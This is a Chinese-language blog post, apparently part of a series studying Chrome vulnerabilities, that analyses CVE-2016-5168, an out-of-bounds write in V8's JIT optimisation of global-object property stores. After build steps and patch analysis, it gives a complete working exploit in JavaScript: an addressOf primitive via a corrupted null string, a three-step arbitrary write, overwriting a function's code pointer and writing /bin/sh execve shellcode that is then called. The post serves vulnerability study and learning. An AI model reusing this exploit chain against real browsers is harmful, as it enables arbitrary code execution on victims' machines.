前言

继续,但是这些漏洞要细究起来都很麻烦,只能粗略学一下了。


环境搭建

跟前面两篇文章的方式基本一样,首先去chrome的bug页面找到对应的bug,然后查看官方提交的修复:

我们要用的是漏洞版本,所以要回退到其parent版本,所以环境搭建如下(同样使用vultr):

yum groupinstall "Development Tools"  
yum install python2
yum install -y git gdb bzip2 wget
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
mkdir v8
cd v8
fetch v8
cd ~/v8/v8
git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542 # CVE-2016-5168漏洞分支
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release # Release version
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug version

编译时报错:

../../third_party/llvm-build/Release+Asserts/bin/clang++: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory

看起来是缺少依赖,按照网上的做法将高版本的该共享库软链接一下:

 ln -s /usr/lib64/libtinfo.so.6.1 /usr/lib64/libtinfo.so.5

看起来没有问题了。

漏洞分析

string内存分配

简单的测试脚本:

var str1 = new String("aaaaaaaaaaaaaaa");
var str2 = new String("aaaaaaaaaaaaaaa");
var str3 = new String("bbbbbbbbbbbbbb");
var str4 = new String(null);
%DebugPrint(str1);
%DebugPrint(str2);
%DebugPrint(str3);
%DebugPrint(str4);
%SystemBreak();

四个字符串在内存中的表示如下:

可以看到,JavaScript中的字符串也是个对象,其数据保存在value属性中。两个相同的字符串只会在内存中保存一次,保存的地方看起来是在堆栈上面,然后两个字符串对象的value指针指向同一个地址处。如果是null字符串,其value指针会指向跟elements指针相近的地方,看起来它们可能都是程序中定义的一个泛用型数据。字符串的value属性内存表示如下:

第三个地址单元处以SMI类型存储了字符串长度,第四个地址单元开始就是字符串的数据,第一个地址单元打印出来可以看到是个Map,第二个地址单元只占用了低32位,是个不知名数据。

对象properties属性内存分配

测试代码:

var a = {};
a.a = 1;
a.b = 1.1;
a.c = {};
%DebugPrint(a);
%SystemBreak();

内存布局如下:

可以看到,对于{}这种字典型对象来说,此时其properties就直接布置在了对象的后方,和对象紧贴,并按照SMI、Double、Object等类型进行存放。

换一下测试代码:

var a = new Set();
a.a = 1;
a.b = 1.1;
a.c = {};
%DebugPrint(a);
%SystemBreak();

内存布局如下:

可以看到,对于Set这种非字典型对象来说,此时其properties属性是一个保存在第二个地址单元处的指针,我们定义的这些properties都会放置在这个指针指向的地址处。在该处地址,第一个地址单元存放Map,第二个地址单元存放properties数量,第三个地址单元开始存放properties,SMI直接存放,Double和对象存放的是地址。

patch分析

主要patch有两处,第一处如下所示:

diff --git a/src/compiler/js-global-object-specialization.cc b/src/compiler/js-global-object-specialization.cc
index a06704a..b38aed4 100644
--- a/src/compiler/js-global-object-specialization.cc
+++ b/src/compiler/js-global-object-specialization.cc
@@ -196,13 +196,18 @@
       Type* property_cell_value_type;
       MachineRepresentation representation = MachineRepresentation::kTagged;
       if (property_cell_value->IsHeapObject()) {
+        // We cannot do anything if the {property_cell_value}s map is no
+        // longer stable.
+        Handle<Map> property_cell_value_map(
+            Handle<HeapObject>::cast(property_cell_value)->map(), isolate());
+        if (!property_cell_value_map->is_stable()) return NoChange();
+        dependencies()->AssumeMapStable(property_cell_value_map);
+
         // Check that the {value} is a HeapObject.
         value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
                                           value, effect, control);

         // Check {value} map agains the {property_cell} map.
-        Handle<Map> property_cell_value_map(
-            Handle<HeapObject>::cast(property_cell_value)->map(), isolate());
         effect = graph()->NewNode(
             simplified()->CheckMaps(1), value,
             jsgraph()->HeapConstant(property_cell_value_map), effect, control);

根据文件名和路径可以看出,问题发生在JIT对全局对象的优化处,而根据注释可以看出,代码中增加了对unstable Map的检查。然后是第二处patch:

diff --git a/src/crankshaft/hydrogen.cc b/src/crankshaft/hydrogen.cc
index 16c3639..79e78a5 100644
--- a/src/crankshaft/hydrogen.cc
+++ b/src/crankshaft/hydrogen.cc
@@ -6518,11 +6518,19 @@
           access = access.WithRepresentation(Representation::Smi());
           break;
         case PropertyCellConstantType::kStableMap: {
-          // The map may no longer be stable, deopt if it's ever different from
-          // what is currently there, which will allow for restablization.
-          Handle<Map> map(HeapObject::cast(cell->value())->map());
+          // First check that the previous value of the {cell} still has the
+          // map that we are about to check the new {value} for. If not, then
+          // the stable map assumption was invalidated and we cannot continue
+          // with the optimized code.
+          Handle<HeapObject> cell_value(HeapObject::cast(cell->value()));
+          Handle<Map> cell_value_map(cell_value->map());
+          if (!cell_value_map->is_stable()) {
+            return Bailout(kUnstableConstantTypeHeapObject);
+          }
+          top_info()->dependencies()->AssumeMapStable(cell_value_map);
+          // Now check that the new {value} is a HeapObject with the same map.
           Add<HCheckHeapObject>(value);
-          value = Add<HCheckMaps>(value, map);
+          value = Add<HCheckMaps>(value, cell_value_map);
           access = access.WithRepresentation(Representation::HeapObject());
           break;
         }

同样是看注释,可以看到同样增加了对unstable Map的检查,同时对stable Map,还增加了一个AssumeMapStable函数的调用,其定义如下:

void CompilationDependencies::AssumeMapStable(Handle<Map> map) {
    DCHECK(map->is_stable());
    // Do nothing if the map cannot transition.
    if (map->CanTransition()) {
        Insert(DependentCode::kPrototypeCheckGroup, map);
    }
}

kPrototypeCheckGroup操作码的注释如下:

// Group of code that omit run-time prototype checks for prototypes
// described by this map. The group is deoptimized whenever an object
// described by this map changes shape (and transitions to a new map),
// possibly invalidating the assumptions embedded in the code.

看起来是在一个对象的Map发生变化时去优化用的(比如前面测试代码中我们给Set对象定义属性时它的Map属性就会发生变化)。

官网给出的bug测试代码如下:

var n;
function Ctor() {
  try { } catch (e) {}
  n = new Set();
}
function Check() {
  n.xyz = 0x826852f4;
}
Ctor();
Ctor();
%OptimizeFunctionOnNextCall(Ctor);
Ctor();
Check();
Check();
%OptimizeFunctionOnNextCall(Check);
Check();
Ctor();
Check();
parseInt('AAAAAAAA');

稍微修改一下,改得好看一点,try和catch跟JIT使用的编译器有关,这里可以去掉:

var n;
function Ctor() {
    n = new Set();
}

function Check() {
    n.xyz = 0x826852f4;
}

for (var i=0;i<10000;i++) {
   Ctor();
}


for (var i=0;i<10000;i++) {
   Check();
}

Ctor();
Check();
var b = new String(null);
print(b);

运行一下,可以发现程序崩溃,使用–print-opt-code参数打印一下优化代码,Ctor函数的优化代码如下:

可以看到,优化代码首先通过Construct构造了一个Set对象,然后将其存储到了0x2a3ad4c2b819+0xf地址处。

Check函数的优化代码如下:

可以看到,优化代码从0x2a3ad4c2b819+0xf地址处取出了Set,然后将浮点数0x41e04d0a5e800000(即0x826852f4)放入浮点数寄存器中,然后取出Set对象0x7偏移处的数据(算上JavaScript底层存储指针时会加上的1,就是0x8偏移,即放置在第二个地址单元处的properties指针),将其作为一个指针,以偏移0xf(即第三个地址单元处)再取个地址,再以偏移0x7将这个浮点数写入进去:

跟我们前面看到的Set对象properties存放方式相吻合(即properties指针->第一个properties(因为是Double所以此处是个指针)->该properties的数据),然后我们调试一下看看properties为空时Set对象的内存布局:

可以看到,此时properties指针和elements指针指向同一个地址,而该地址附近就是我们之前看到过的null字符串的value指针指向的地方。

也就是说,此时Check函数的优化代码发生了一个越界写漏洞,它将这个浮点数写入到了null字符串->value指针->Map指针->第二个地址单元处,损坏了这个null字符串的Map,所以在后面要使用到其时导致了程序崩溃。

漏洞利用

addressOf

按照我们对JavaScript对象底层布局的了解,SMI类型会直接写入到高32位处,对象会直接写入其地址,Double则会多一层地址来写入。

自然我们可以通过多次定义Set对象的连续改写多个地址单元处的数据,我们只要将某个对象的地址写入到null字符串的value属性的第四个地址单元(即字符串数字部分),就可以通过访问字符串的方式读取到其地址。

但这里有一个问题,为了避免程序崩溃,null字符串的value属性的前两个地址单元中的数据(即Map、不知名低32位)是不能被更改的。后一个数据好说,只要写入一个SMI类型的数据0,因为SMI类型只会影响高32位,所以不会写入一个0不会影响这个地址单元的数据。但前一个地址单元是个地址,写入SMI或者对象都会让其发生错误,所以只能看看写入Double数据时,其所指向的地址的第二个地址单元处数据是否固定,调试一下:

可以看到,这个地址单元的数据实际上不是指针这种不确定的数据,而是多个数据的集合,分别代表这个Map的多种属性,也就是说,这是个可以确定的数据,我们可以通过写入相同的Double来避免改写此处的数据。

可以写出addressOf函数:

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
    dv.setUint32(0,value1,true);
    dv.setUint32(0x4,value2,true);
    return dv.getFloat64(0,true);
}


function u64f(value) {
    dv.setFloat64(0,value,true);
    return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}

var set;
function Ctor() {
    set = new Set();
}

function Check(obj) {
    set.a = p64f(0x00007300, 0x00190004);
    set.b = 0x0;
    set.c = 0x8;
    set.d = obj;
}

for (var i=0;i<10000;i++) {
    Ctor();
}


for (var i=0;i<10000;i++) {
    Check({});
}

var str = new String(null);

function addressOf(obj) {
    Ctor();
    Check(obj);
    var addr = 0;
    for (var i=0;i<0x8;i++) {
      addr += (str.charCodeAt(i) * Math.pow(0x100,i));
   }
   return addr - 0x1;
}

print(addressOf(str).toString(16));
%DebugPrint(set);
%SystemBreak();

调试一下看看有没有问题:

打印一下这个地址:

没有问题。

任意地址写

要实现命令执行,还需要一个任意地址写功能。在SMI、对象、Double这三种能写的数据中,比较特别的就是Double类型,它能够将某个地址单元处的数据当作一个地址,然后往该地址的下一个地址单元写入数据。

所以,如果我们能够先向这个地址单元写入一个地址,那么我们第二次就可以通过写入Double的方式实现任意地址写。不过这样还有一个问题,我们只能直接写入SMI、对象指针这两种数据,而SMI只能影响高32位,所以能用的只有写入对象这一种方式,所以要写入任意地址还需要一点别的操作。

这里还有一点,new String(null)和String(null)有所不同,后者可以直接获得null字符串的value属性:

思考这么一种情况,首先我们通过addressOf获取null字符串的地址,然后通过越界写入这么4个数据:

  • p64f(0x00007300, 0x00190004)
  • 0x0
  • 0x8
  • String(null)

这样第四个地址单元处就是一个地址,其指向null字符串。

然后第二次我们写入:

  • p64f(0x00007300, 0x00190004)
  • 0x0
  • 0x8
  • address(要写入数据的地址)-0x7

这次写入第四个地址单元的数据就是一个Double类型,根据偏移,此时会将数据写入第二个地址单元处。

最后第三次写入:

  • p64f(0x00007300, 0x00190004)
  • value(要写入的数据)

这次写入第二个地址单元的数据就是一个Double类型,根据偏移,此时会将数据写入要写入数据的地址处。

按照参考文章的图片,就是:

因为要进行越界写入三次,为了避免相互影响使用3个不同的对象,否则第二次写入时会出错。

命令执行

通过构造自定义函数代替wasm,找好偏移把shellcode写入然后执行就行:

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function i2f(value1,value2) {
    dv.setUint32(0, value1, true);
    dv.setUint32(0x4, value2, true);
    return dv.getFloat64(0, true);
}


function f2i(value) {
    dv.setFloat64(0, value, true);
    return dv.getUint32(0, true) + dv.getUint32(4, true) * 0x100000000;
}

var set, map, date;
function SetCtor() {
    set = new Set();
}

function MapCtor() {
    map = new Map();
}

function DateCtor() {
    date = new Date();
}


function useForAddressOf(obj) {
    set.a = i2f(0x00007300, 0x00190004);
    set.b = 0x0;
    set.c = 0x9;
    set.d = obj;
}

function useForWrite1(val) {
    map.a = i2f(0x00007300, 0x00190004);
    map.b = 0x0;
    map.c = 0xa;
    map.d = val;
}

function useForWrite2(val) {
    date.a = i2f(0x00007300, 0x00190004);
    date.b = val;
}

for (var i = 0;i < 10000;i++) {
    SetCtor();
}

for (var i = 0;i < 10000;i++) {
    useForAddressOf({});
}

var str = new String(null);

function addressOf(obj) {
    SetCtor();
    useForAddressOf(obj);
    var addr = 0;
    for (var i = 0;i < 0x8;i++) {
      addr += (str.charCodeAt(i) * Math.pow(0x100, i));
   }
   return addr - 0x1;
}

var nullStr = addressOf(String(null));
print("nullStr_addr = 0x" + nullStr.toString(16));

for (var i = 0;i < 10000;i++) {
    MapCtor();
}

for (var i = 0;i < 10000;i++) {
    useForWrite1(i + 1.1);
}

for (var i = 0;i < 10000;i++) {
    DateCtor();
}

for (var i = 0;i < 10000;i++) {
    useForWrite2(i + 1.1);
}

function write(address, data) {
    SetCtor();
    useForAddressOf(String(null));
    MapCtor();
    useForWrite1(i2f(address & 0xFFFFFFFF,address / 0x100000000));
    DateCtor();
    useForWrite2(i2f(data & 0xFFFFFFFF,data / 0x100000000));  
}

var func = new Function("var a = 0x66666666;");
var shellcode_ptr_addr = addressOf(func) + 0x38;
print("shellcode_ptr_addr = 0x" + shellcode_ptr_addr.toString(16));

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20;
print("buf_backing_store_addr = 0x" + buf_backing_store_addr.toString(16));

write(buf_backing_store_addr - 0x7, shellcode_ptr_addr);
var shellcode_addr = f2i(data_view.getFloat64(0,true));
print("shellcode_addr = 0x" + shellcode_addr.toString(16));
write(buf_backing_store_addr - 0x7, shellcode_addr);

var shellcode = [
    0xbb48f631, 
    0x6e69622f,
    0x68732f2f, 
    0x5f545356,
    0x31583b6a, 
    0x00050fd2,
];

for (var i = 0;i < shellcode.length;i++) {
   data_view.setUint32(i * 4, shellcode[i], true);
}

func();

执行结果:

后记

hard。


参考文章

环境搭建

漏洞分析

漏洞分析


Web 二进制 浏览器 Chrome

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

chrome浏览器漏洞强化3-CVE-2020-6418
chrome浏览器漏洞强化1